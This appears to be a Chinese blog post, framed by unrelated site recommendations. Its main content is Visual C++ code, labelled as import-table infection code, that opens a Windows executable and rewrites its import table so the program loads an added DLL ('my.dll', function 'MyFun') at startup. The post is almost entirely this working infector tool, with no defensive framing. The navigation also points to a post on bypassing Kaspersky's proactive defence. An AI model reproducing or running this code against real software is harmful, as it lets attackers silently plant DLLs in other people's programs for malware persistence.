一段感染引入表的vc代码

IMAGE_FIRST_SECTION 定位区块表(Section Table) 首先我们要知道,区段表是紧接在IMAGE_NT_HEADERS的后面的,如果我们找到了IMAGE_NT_HEADERS的地址,然后再加上IMAGE_NT_HEADERS的大小,是不是就找到了Section Table的地址了呢。知道了这个好开心微软在WinNT.h中提供了一个宏定义——IMAGE_FIRST_SECTION,用来定位区块表的它的具体实现如下 阅读详情
代码:
#include <stdio.h>
#include <windows.h>

DWORD RVAToOffset(LPVOID lpBase,DWORD VirtualAddress)
{
        IMAGE_DOS_HEADER *dosHeader;
        IMAGE_NT_HEADERS *ntHeader;
        IMAGE_SECTION_HEADER *sectionHeader;
        int NumOfSections;
        dosHeader=(IMAGE_DOS_HEADER*)lpBase;
        ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew);
        NumOfSections=ntHeader->FileHeader.NumberOfSections;
        for (int i=0;i<NumOfSections;i++)
        {
                sectionHeader=(IMAGE_SECTION_HEADER*)((BYTE*)lpBase+dosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS))+i;
                if(VirtualAddress>sectionHeader->VirtualAddress&&VirtualAddress<sectionHeader->VirtualAddress+sectionHeader->SizeOfRawData)
                {
                        DWORD AposRAV=VirtualAddress-sectionHeader->VirtualAddress;
                        DWORD Offset=sectionHeader->PointerToRawData+AposRAV;
                        return Offset;
                }
        }
        return 0;
}

int sectionNum(LPVOID lpBase,DWORD VirtualAddress)
{
        IMAGE_DOS_HEADER *dosHeader;
        IMAGE_NT_HEADERS *ntHeader;
        IMAGE_SECTION_HEADER *sectionHeader;
        int NumOfSections;
        dosHeader=(IMAGE_DOS_HEADER*)lpBase;
        ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew);
        NumOfSections=ntHeader->FileHeader.NumberOfSections;
        for (int i=0;i<NumOfSections;i++)
        {
                sectionHeader=(IMAGE_SECTION_HEADER*)((BYTE*)lpBase+dosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS))+i;
                if(VirtualAddress>sectionHeader->VirtualAddress&&VirtualAddress<sectionHeader->VirtualAddress+sectionHeader->SizeOfRawData)
                {

                        return i;
                }
        }
        return -1;
}


int main(int argc, char* argv[])
{

        HANDLE hFile=CreateFile(argv[1],GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
        if(hFile==INVALID_HANDLE_VALUE)
        {
                printf("CreateFile Failed/n");
                return 0;
        }

        HANDLE hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,NULL,NULL,NULL);
        if(hMap==INVALID_HANDLE_VALUE)
        {
                printf("CreateFileMapping Failed/n");
                return 0;
        }

        LPVOID lpBase=MapViewOfFile(hMap,FILE_MAP_WRITE,0,0,0);
        if(lpBase==NULL)
        {
                printf("MapViewOfFile Failed/n");
                return 0;        
        }
        IMAGE_DOS_HEADER *dosHeader;
        IMAGE_NT_HEADERS *ntHeader;


        dosHeader=(IMAGE_DOS_HEADER*)lpBase;

        if (dosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
        {
                printf("This is not a windows file/n");
                return 0;
        }
        
        ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew);
        if(ntHeader->Signature!=IMAGE_NT_SIGNATURE)
        {
                printf("This is not a win32 file/n");
                return 0;
        }
        int numOfSections=ntHeader->FileHeader.NumberOfSections;
        
        int ncout=sectionNum(lpBase,ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
        if(ncout==-1)
        {
                printf("get section failed/n");
                return 0;
        }
        IMAGE_SECTION_HEADER *sectionHeader;
        sectionHeader=(IMAGE_SECTION_HEADER*)((BYTE*)lpBase+dosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS))+ncout;
        int nullsize=sectionHeader->SizeOfRawData-sectionHeader->Misc.VirtualSize;
        printf("%d/n",nullsize);
        if(numOfSections*20+20*3+8+8>nullsize)
        {
                printf("file space is not enough/n");
                return 0;
        }
        IMAGE_IMPORT_DESCRIPTOR *newImport;
        newImport=(IMAGE_IMPORT_DESCRIPTOR *)((BYTE*)lpBase+sectionHeader->PointerToRawData+sectionHeader->Misc.VirtualSize);
        printf("%x/n",sectionHeader->PointerToRawData+sectionHeader->Misc.VirtualSize);
        printf("%d/n",sizeof(IMAGE_IMPORT_DESCRIPTOR));
        IMAGE_IMPORT_DESCRIPTOR *ImportDec=(IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)lpBase+RVAToOffset(lpBase,ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));
        int i=0;
        while(ImportDec->FirstThunk)
        {
                *newImport=*ImportDec;
                i=i+1;
                ImportDec++;
                newImport++;
        }
        IMAGE_IMPORT_DESCRIPTOR myImport;
        char *name="my.dll";
        myImport.FirstThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20);
        myImport.TimeDateStamp=0;
        myImport.ForwarderChain=0;
        myImport.OriginalFirstThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->PointerToRawData+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20);
        myImport.Name=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2));
        *newImport=myImport;
        newImport++;
        memset(newImport,0,sizeof(IMAGE_IMPORT_DESCRIPTOR));
        newImport++;
        memcpy((char*)newImport,name,strlen(name)+1);
        DWORD newThunk;
        newThunk=(DWORD)newImport+20;
        
        *(DWORD*)newThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20+8);
        memset((void*)(newThunk+4),0,4);
        newThunk=newThunk+8;
        WORD hint=0x00;
        *(WORD*)newThunk=hint;
        newThunk=newThunk+sizeof(WORD);
        char *funname="MyFun";
        memcpy((char*)newThunk,funname,strlen(funname)+2);
        ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress=sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress;

        FlushViewOfFile(lpBase,0);

        UnmapViewOfFile(lpBase);
        CloseHandle(hMap);
        CloseHandle(hFile);
        return 0;
}
高德地图点聚合创意玩法:用自定义样式实现动态热力报警系统(附Vue组件代码) 本文详细介绍了如何利用高德地图的AMap.MarkerCluster点聚合技术实现动态热力报警系统,包括商业价值、架构设计、Vue组件实现及性能优化。通过自定义样式和权重分配,系统能直观展示不同级别的报警状态,提升智慧城市和物联网场景下的数据可视化效果。附完整Vue组件代码,助力开发者快速集成。 阅读详情

相关推荐

短视频镜头文案创作全攻略:从核心功能到结构公式与优化技巧

在数字内容创作领域,文案是连接信息与受众、驱动用户行为的关键技术组件。其核心原理在于通过精准的语言组织,引导注意力、塑造认知并激发情感共鸣,从而实现信息的高效传递与转化。从技术价值看,优秀的文案是提升内容完播率、互动率与转化率的底层引擎,尤其在短视频等强竞争环境中,它直接决定了内容的传播效能。在应用场景上,无论是产品展示、教程教学还是品牌故事叙述,都需要适配不同的文案结构与表达风格。本文聚焦于短视频镜头文案这一细分领域,系统拆解了其创作逻辑与结构公式,并深入探讨了如何通过优化文案与画面、音乐的协同,以及进行

weixin_33046983的博客 292

PE文件添加函数教程

修改HelloPE.exe,添加user32.dll的另一个函数MessageBoxExA,并测试。如何构造HelloPE.exe可以看我上次发的博客主要思路:添加一个user32.dll的MessageBoxExA函数,运行程序后会先后弹出两个窗口,首先需要明白需要修改哪些部分1、.text需要修改,因为要添加函数,就要加添加push和参数2、.rdata段需要重新修改导入表和导入函数地址,是最难的部分3、.data段需要为新加的弹出窗口设置标题和内容。

m0_62574258的博客 1362

基于Codex平台与AI技能链的抖音爆款视频自动化生成实战

最近在探索AI自动化内容创作时,发现了一个非常有意思的领域:如何利用AI工具批量分析爆款内容,并自动化生成高质量的带货视频。这不仅能极大提升内容创作的效率,更是许多电商团队和个人创作者的“效率神器”。本文将围绕如何使用Codex平台及其Skill功能,结合抖音生态,分享一套从“爆款拆解”到“视频生成”的完整实战方案。 本文适合对AI自动化、内容创作、短视频运营感兴趣的开发者或运营人员。无论你是想为自己的产品制作引流视频,还是希望构建一个自动化的内容分析工具,都能从本文中找到可复用的代码和清晰的实现思路。我们

weixin_34008933的博客 414

修改PE文件引入表实现加载DLL

文章目录内容简介DLL结构DLL的编译链接(VS命令行中)DLL的加载使用的DLL源代码PE文件关键结构MZ头NT映像头可选头部引入表IDT、INT、IAT关系代码实现思路关键数据结构节表IDT项验证结果 内容简介 编写Func.dll,并编写一个EXE程序,该程序能够加载Func.dll,并调用Func.dll中的导出函数,在加载Func.dll的时候,会弹出计算器calc.exe。 使用PE...

威化饼的一隅 3879

【信息科学与工程学】计算机科学与技术——第七十七篇 系统架构设计02

编号类型模型配方企业资本运作的方法/规则/条件/依据及所有的步骤(​风险处理/异常处理/危机应对关联知识法律法规和裁决依据​​由发起人(通常是知名投资人、投行或产业资本)先设立一个只有现金、无实际业务的特殊目的收购公司(SPAC),通过IPO募集资金并在交易所上市。然后在规定时间内(通常24个月)寻找一家非上市公司进行合并(De-SPAC),使目标公司迅速实现上市,规避传统IPO的复杂流程和不确定性。1.:在开曼或特拉华注册空壳公司,注入少量种子资金。2.

weixin_49199313的博客 317

【信息科学与工程学】计算机科学与自动化——第三百零五篇 数据中心 Scale-Up、Scale-Out、Scale-Across 01

临界带宽B_critical满足:V_orig/B_critical = V_orig/(r·B_critical) + V_orig/R_compress + r·V_orig/R_decompress ⇒ 1/B_critical = 1/(r·B_critical) + 1/R_compress + r/R_decompress ⇒ B_critical = (1 - 1/r) / (1/R_compress + r/R_decompress)。T_original中所有数据均经内存总线传输。

weixin_49199313的博客 476

通过修改PE文件的方式导入DLL(包含详细操作流程)

我们需要修改IDT表,增加一条我们字节DLL文件的IID以达到导入的目的。在NT头下IMAGE_DATA_DIRECTORY_ARRAY结构体,找到导入表,导入表第一个参数的值便为IDT的RVA RVA是程序的相对虚拟地址,我们要想在文件中精确定位IDT,必须要把RVA转位RAW,在上图中也叫FOA(文件偏移,文件中某个位置距离文件头的偏移),具体的计算公式:84CCh属于.rdata节区,VirtualAddress 和PointerToRawData可从节区头中获取。 VirtualAddress 是指

fanxiaoyao1的博客 1987

【信息科学与工程学】【物理/化学科学和工程技术】知识体系081 磁学——系列二 电磁学——电磁学理论模型01

编号模型名称核心数学描述关键参数与物理意义应用场景与说明EM1.001​麦克斯韦微分方程组∇·D=ρ, ∇·B=0, ∇×E=-∂B/∂t, ∇×H=J+∂D/∂tD-电通密度(C/m²), B-磁通密度(T), E-电场强度(V/m), H-磁场强度(A/m)所有电磁现象的基本控制方程,集成电路电磁分析基础EM1.002​麦克斯韦积分方程组∮S D·dS=Q, ∮S B·dS=0, ∮C E·dl=-dΦ_B/dt, ∮C H·dl=I+dΦ_D/dtQ-电荷(C), Φ_B-磁通(Wb), I-电流(A

weixin_49199313的博客 1173

GPT-SoVITS能否用于音乐旁白合成?实测反馈

仅需一分钟录音,GPT-SoVITS就能克隆音色并生成自然流畅的旁白,在音乐解说、纪录片等对语感要求高的场景中表现惊艳。实测显示其在中文叙述、跨语言合成和情感表达上远超传统TTS,适合独立创作者高效制作高质量音频内容。

weixin_36149538的博客 686

【信息科学与工程学】计算机科学与自动化——第六十六篇 算子篇 第一章 通用算子01 多模态数据(图形/图像/文本/语音)中推断人类内在状态、策略、动机和利益的算法算子知识库

编号领域算法/方法算子名称算子的数学方程式/表达复杂度 (示例)关联知识11量子场论正则量子化产生/湮灭算符对易关系: [â_p, â†_q] = δ⁽³⁾(p​ - q)应用于态空间,计算复杂度取决于截断福克空间,粒子数表象,二次量子化12统计力学蒙特卡洛模拟马尔可夫链转移算子T(s → s‘) :满足细致平衡条件 π(s)T(s→s’)=π(s‘)T(s’→s)收敛到平衡分布需 ~O(τ), τ为相关时间细致平衡,Metropolis-Hastings准则,重要性采样13电磁学边界元法单层势/双层势算子

weixin_49199313的博客 310

【信息科学与工程学】【数据科学】数据科学领域——第三篇 数学08 几何学07 网络几何01

编号类型领域问题问题的数学分析参数列表及参数的数值范围关联知识1组合优化 / 计算几何网络几何(几何图论):给定平面上的 n 个点(节点),求连接所有点的总边长最小的树。数学模型:设点集 P={p1​,…,pn​}⊂R2,边权为欧氏距离 d(pi​,pj​)=(xi​−xj​)2+(yi​−yj​)2​。目标是找到一棵生成树 T=(P,E)使得 ∑(i,j)∈E​d(pi​,pj​)最小。该问题是经典 MST 在欧氏度量下的特例,属于 NP-hard 吗?

weixin_49199313的博客 168

GPT-SoVITS在虚拟偶像产业的应用想象

仅需一分钟语音,GPT-SoVITS即可克隆高度拟真的个性化声线,推动虚拟偶像内容生产进入高效、低成本时代。该技术融合语义理解与声学表现,支持零样本推理与跨语言合成,已在配音、实时互动和多语言运营中展现巨大潜力,让声音真正成为虚拟人格的核心载体。

weixin_42575109的博客 764

【信息科学与工程学】计算机科学与自动化——第十八篇 存储系统设计 10 存储器/存储软件/存储芯片/存储盘/存储系统/存储网络01

③ MTJ电阻 → 界面:TMR=(R_AP-R_P)/R_P = 2P₁P₂/(1-P₁P₂) (Julliere模型);③ 访问延迟模型 → 统计:平均访问延迟 = p_hot * t_dram + (1-p_hot) * t_nvm + t_migration_overhead;:① 储能电容计算 → 数学物理:所需能量 E = P * t_backup,电容 C = 2E / (V_start² - V_end²);:① B-tree平衡 → 代数:树高 h = log_m(N),m为扇出;

weixin_49199313的博客 264

GPT-SoVITS能否用于歌曲合成?实验结果揭晓

GPT-SoVITS能在极短音频下高保真还原人声音色,被尝试用于歌曲合成。虽然音色逼真度出色,但因缺乏对音高、节奏和演唱表现力的精确控制,直接用于唱歌效果有限。它更适合作为音色建模基础,结合专业歌唱合成框架如So-VITS-SVC使用,才能实现既像本人又唱得准的AI歌声。

weixin_28850145的博客 637

国央企创新负责人如何提升企业创新与技术合作的精准度?.docx

国央企创新负责人如何提升企业创新与技术合作的精准度?

基于ROS2的无人机野生动物巡查系统设计

自主巡检系统是嵌入式人工智能与机器人技术融合的关键应用方向,其核心在于多源感知融合、实时路径规划与端侧智能识别的协同实现。原理上依赖SLAM定位构建环境地图,结合栅格化建模与混合路径算法(如蚁群+BFS)达成全覆盖遍历;技术价值体现在资源受限平台下的确定性响应与时空对齐能力,支撑高鲁棒性野外作业。典型应用场景包括生态监测、禁飞区巡检及小尺度智能安防。本文围绕ROS2 Humble中间件架构、Livox激光雷达与MaixCAM视觉协同、YOLO11n INT8模型端侧部署等关键技术展开,突出嵌入式AI与实时控

weixin_30598047的博客 650

易语言安全攻防:从缓冲区溢出到主动防护的实战解析

缓冲区溢出作为经典的内存破坏漏洞,其原理在于程序向固定大小的缓冲区写入超出其容量的数据,导致相邻内存区域被覆盖,从而可能被攻击者利用来劫持程序执行流程。这类漏洞在缺乏安全内存操作封装的编程环境中尤为常见,其技术价值在于揭示了软件安全中“信任边界”的重要性。在实际应用场景中,无论是系统软件还是应用工具,若未对输入数据进行严格校验,都可能成为攻击入口。本文聚焦于易语言生态,深入探讨其特有的安全挑战,例如开发者常使用的`写到内存`等危险命令,以及如何通过启用地址空间布局随机化(ASLR)等现代缓解措施来提升防护能

dianchaozong3657的博客 538

嵌入式开发 DSP芯片运行方式(挖坑-填坑中-坑已平 :))

TMS320F28335 DSP 芯片 如何将运行代码放在不同的位置

FOOLCODE的专栏 1306

感染导入表方法-附源码(转载)

在explorer.exe中添加了MyDLL.dll的一个导出函数MainFun,如果你想先看看效果可以先把附件下下来,把其中的MyDLL.dll放入环境变量path目录中,例如system32目录就可满足你的需要,然后运行InfectImport.exe,你会看到一个对话框“MainFun成功导入explorer.exe”,因为我在dll被加载时启动了一个线程,然后输出这句话,是不是有点小题大作...

weixin_30481087的博客 157

YOLO11创新改进系列:卷积,主干 注意力,C3k2融合,检测头等创新机制(已更新110+)

本专栏提供详细的 YOLO11 教程,包括基础知识、源码解析、入门实践、算法改进和项目实战,适合发表YOLO11 学习者订阅。内容包含 100+多篇独家改进机制,适合发表论文,评分高达 96 分。订阅者将获得一键运行的改进文件及答疑交流群支持。 使用服务器的同学还可以私聊获取搭建好的运行环境。

专注于图像领域,主要研究内容包括计算机视觉和深度学习,特别是在图像分类、目标检测和图像生成等方面有深入的研究和实践经验。 1万+

CKA-CN考试之路----16

所以结合本题,如果有多个文件中都存在同一个值,务必统一,或者修改最后一个次序的文件。中以不同的文件名来区分不同目的的配置会更有利于阅读.就像本题中的。但当有多个文件中存在同一个参数的不同值,最后会生效哪个值?中,但随着配置越来越多不怎么容易阅读.当多个文件同时存在一个参数,但值又不同。有时候我们会将所有内存参数全部写在。确认服务状态(2个红框中的内容)

Q先生 303
上一篇: 2008年过卡巴9.0主动防御的最新技巧
下一篇: 程序的自我修改
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值